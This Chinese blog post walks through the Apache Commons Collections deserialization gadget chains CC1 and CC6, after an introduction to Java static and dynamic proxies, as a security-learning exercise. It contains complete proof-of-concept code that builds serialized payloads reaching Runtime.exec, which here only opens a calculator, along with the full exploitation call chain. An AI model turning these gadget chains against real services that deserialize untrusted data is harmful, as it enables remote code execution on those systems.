java_web学习之路(三):CommonCollections 负无穷到烧0


java_web学习之路(三):CommonCollections 负无穷到烧0

about objectAnnotation

JDK1.5开始增加了Annotation功能,该功能可用于类,构造方法,成员变量,方法,参数等的声明中。该功能并不影响程序的运行,但是会对编译器警告等辅助工具产生影响。类似于可带进程序运行的注释

java在序列化一个对象时,会调用对象中的writeObject方法,传入的参数类型是ObjectOutputStream。对于开发者来说,此stream的内容可以自定义,由自己写入。在调用readObject进行反序列化时,也可以读取前面写入的内容。这就使Java开发变得灵活,比如HashMap的实现就是将所有键和值全部储存在objectAnnotation中。

对象代理

代理模式 是一种设计模式,提供了对目标对象额外的访问方式,即通过代理对象访问目标对象。这样可以不更改原目标对象的情况下,扩展目标对象功能,提供额外的操作。

静态代理

打个比方,电影是电影公司委托电影院放的,电影院就是代理。在放影片的前后电影院可以插播广告,达到赚钱的目的。

首先定义一个接口,通用的接口是代理模式实现的基础。这个接口我们命名为Movie,代表电影播放的能力

package com.workit.demo.proxy;

public interface Movie {
    void play();
}

加下来创建一个实现接口的类,也就是一个真正的电影

package com.workit.demo.proxy;

public class YourNmae implements Movie {
    @Override
    public void play() {
        System.out.println("普通影厅正在播放的电影是《你的名字》");
    }
}

代理类:

package com.workit.demo.proxy;

public class MovieStaticProxy implements Movie {
    Movie movie;

    public MovieStaticProxy(Movie movie) {
        this.movie = movie;
    }

    @Override
    public void play() {
        playStart();
        movie.play();
        playEnd();
    }

    public void playStart() {
        System.out.println("电影开始前正在播放广告");
    }
    public void playEnd() {
        System.out.println("电影结束了,接续播放广告");
    }
}

测试类:

public class StaticProxyTest {
    public static void main(String[] args) {
        Movie yourname = new YourName();
        Movie movieStaticProxy = new MovieStaticProxy(yourname);
        movieStaticProxy.play();
    }
}

结果:

电影开始前正在播放广告
正在播放的电影是《你的名字》
电影结束了,接续播放广告

现在可以看到,代理模式可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强。值得注意的是,代理类和被代理类应该共同实现一个接口,或者是共同继承某个类。这个就是是静态代理的内容,为什么叫做静态呢?因为它的类型是事先预定好的,比如上面代码中的 MovieStaticProxy 这个类。

动态代理

动态代理类的字节码在程序运行时由 Java 反射机制动态生成,无需程序员手工编写它的源代码。动态代理类不仅简化了编程工作,而且提高了软件系统的可扩展性,因为 Java 反射机制可以生成任意类型的动态代理类。java.lang.reflect 包中的 Proxy 类和InvocationHandler 接口提供了生成动态代理类的能力。

动态代理就是发生在程序运行时,动态生成代理类的字节码,并加载进来。

实现动态代理位于java.lang.reflect包下

编写代理类:

package com.proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class Agent implements InvocationHandler {
    private Object sub;
    public Agent(Object sub){
        this.sub = sub;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("开始代理");
        Object obj = method.invoke(sub,args);
        return obj;
    }
}

代理类需要实现 InvocationHandler 接口,同时重写 一下 invoke 方法,invoke方法中,可以加入代理的扩展功能,同时反射调用目标对象的指定方法。

package com.proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Demo {
    public static void main(String[] main){
        Subject realsubject = new RealSubject();
        ClassLoader classLoader = realsubject.getClass().getClassLoader();
        Class[] interfaces = realsubject.getClass().getInterfaces();
        InvocationHandler handler = new Agent(realsubject);

        Subject sub = (Subject) Proxy.newProxyInstance(classLoader,interfaces,handler);
        sub.request();
    }
}

动态代理的主要流程:

  • Subject realsubject = new RealSubject();实现目标类的实例化
  • ClassLoader classLoader = realsubject.getClass().getClassLoader();这一步获取类加载器
  • Class[] interfaces = realsubject.getClass().getInterfaces();获取目标类的接口列表
  • InvocationHandler handler = new Agent(realsubject); 创建 InvocationHandler 实例,用来处理 Proxy 所有方法调用
  • Subject sub = (Subject) Proxy.newProxyInstance(classLoader,interfaces,handler); 使用Proxy类的newProxyInstance 方法创建的实例化一个代理对象,分别传入类加载器,代理接口,和Handler处理器。
  • sub.request(); 最后调用代理对象的方法。

p神的简化demo

代码如下:

package com.p;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

环境:commons-collections-3.1&&jdk8

一个在mac环境下弹计算器的demo,我们对于几个接口和类进行分析:

TransformedMap

倒入这个库用于对Java的标准数据结构Map进行修饰,被修饰的Map在添加新的元素时可执行一个回调。关于回调机制:

回调是实现异步调用的一种手段,是为了异步通信服务的

A对象 —-B.fb(A) —–> B对象 // 调用B的fb()时传入A本身(this)
A对象 <—–A.fa()—— B对象 // B就可以直接调用A,fa()就是回调方法

AImpl —-B.fb(IA) —–> B对象 // IA是抽象接口,AImpl是IA的实现类
AImpl <—–IA.fa()—— B对象

AImpl —-B.fb(IA) —–> B对象 // B.fb(IA)单独起一个线程执行
AImpl <—–IA.fa()—— B对象

在这段demo中:

Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这里所说的”回调“,并不是传统意义上的一个回调函数,而是一个实现了Transformer接口的类。

Transformer

image-20220316185149896

显然,Transformer是一个接口,存在一个transform方法,TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个”回调 函数“,这个回调的参数是原始对象。

ConstantTransformer

image-20220316190405282

可以看出,ConstantTransformer是实现了上面所说的Transformer接口的类,也同时实现了Serializable接口。

image-20220316191448039

这里ConstantTransformer实现了Transformer接口,也重写了transform方法。它的作用就是包装任意一个对象,然后在执行回调时使用transformer方法返回这个对象。

InvokerTransformer

image-20220316191706557

这个类也是实现了Transformer接口,并且是实现rce的重要类。可以看到此类要求传入三个参数:

  • String methodName:需要实现的方法名,类型是字符串
  • Class[] paramTypes: 函数参数列表的参数类型,类型是数组
  • Object[] args: 参数列表,类型是数组

image-20220316192656825

后面也是实现了回调函数transform,此方法内容很好理解,传入的input是一个对象,下面通过反射原理,去执行input对象的iMethodName方法。过程中用到的参数就是上面构造函数所定义的参数。

ChainedTransformer

这个类的构造方法接受一个Transformer 接口类型的数组,作用是将内部的多个Transformer串在一起。

调试demo

image-20220316193622528

由ChainedTransformer实例化的对象transformers中包含了两个对象,分别由ConstantTransformer和InvokerTransformer实例化。ConstantTransformer实例化对象的iConstant是Runtime.getRuntime(),InvokerTransformer实例化对象的参数则是要传入前面Runtime.getRuntime()的参数。

回调已经构造完成,我们新建一个Map结构的innerMap,使用TransformedMap进行修饰成outerMap。再通过向outerMap中放入新元素触发回调即可。

image-20220316194835969

实际情况下的cc链

LazyMap

ysoserial中使用LazyMap来替代我们上面demo中的TransformedMap

LazyMap也同样来自Common-Collections,继承AbstractMapDecorator。与TransformedMap不同,LazyMap中的transform方法的触发点在其get方法中执行的factory.transform。

image-20220319205123281

使用LazyMap构造利用链(CC1)

之前的demo触发漏洞的方法是我们手动往outerMap中放入一个新元素,触发回调。在实际的反序列化中,我们需要找到一个类,他的readObject方法中有类似的写入操作,就是sun.reflect.annotation.AnnotationInvocationHandler。

在8u17之前的版本中,sun.reflect.annotation.AnnotationInvocationHandler代码中存在Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...),其中memberValue就是反序列化得到的Map,从而触发漏洞的下一步。

但是要使用到LazyMap替换TransformedMap,我们需要触发的transform方法存在于其get方法的factory.transform中。factory属性并没有被声明为短暂的,是可控的,且在构造函数中定义。在sun.reflect.annotation.AnnotationInvocationHandler#readObject方法中并没有使用到Map的get方法,但是此类中的invoke方法中存在get方法的调用。巧了是invoke方法,我们可以使用动态代理的方式来触发invoke方法。注意sun.reflect.annotation.AnnotationInvocationHandler类的定义:

image-20220320181344408

sun.reflect.annotation.AnnotationInvocationHandler这个类实现了InvocationHandler接口,所以我们将这个对象使用Proxy进行代理,在readObject的时候就能触发invoke方法。

sun.reflect.annotation.AnnotationInvocationHandler这个类是JDK的内部类,不能直接实例化,我们通过反射获取其实例。我们构造一个AnnotationInvocationHandler对象,并且对其进行Proxy:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class}, handler);

我们还不能直接对proxyMap进行序列化,因为我们的序列化入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要使用AnnotationInvocationHandler对proxyMap进行包裹

POC:

package com.p;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"open /System/Applications/Calculator.app"} ),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

完整利用链

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

8u71之后

在java 8u71后的版本中 AnnotationInvocationHandler 不再使用反序列化得到的 Map 对象,而是新建了一个LinkedHashMap 对象,将原来的键值添加进去,所以后续的操作都是对 LinkedHashMap ,所以我们反序列化攻击没办法成功。

解决高版本利用问题实际上就是寻找哪里调用了LazyMap#get方法。TiedMapEntry中就存在:

image-20220323164535750

我们接着寻找实现了TiedMapEntry#getValue的方法,在不远处就能找到:

image-20220323164656471

TiedMapEntry#hashcode方法实现了getValue方法,而且我们在之前的URLDNS链子中有讲过hashcode的实现方法。在HashMap的readObject方法中,调用到了 hash(key) ,而hash方法中,调用到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成一个完整的Gadget。

CC6

package com.p;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "open /System/Applications/Calculator.app" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

最后编辑于 2022年 3月23日 星期三 20时25分21秒 CST


文章作者: Wh1teR0be
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wh1teR0be !
  目录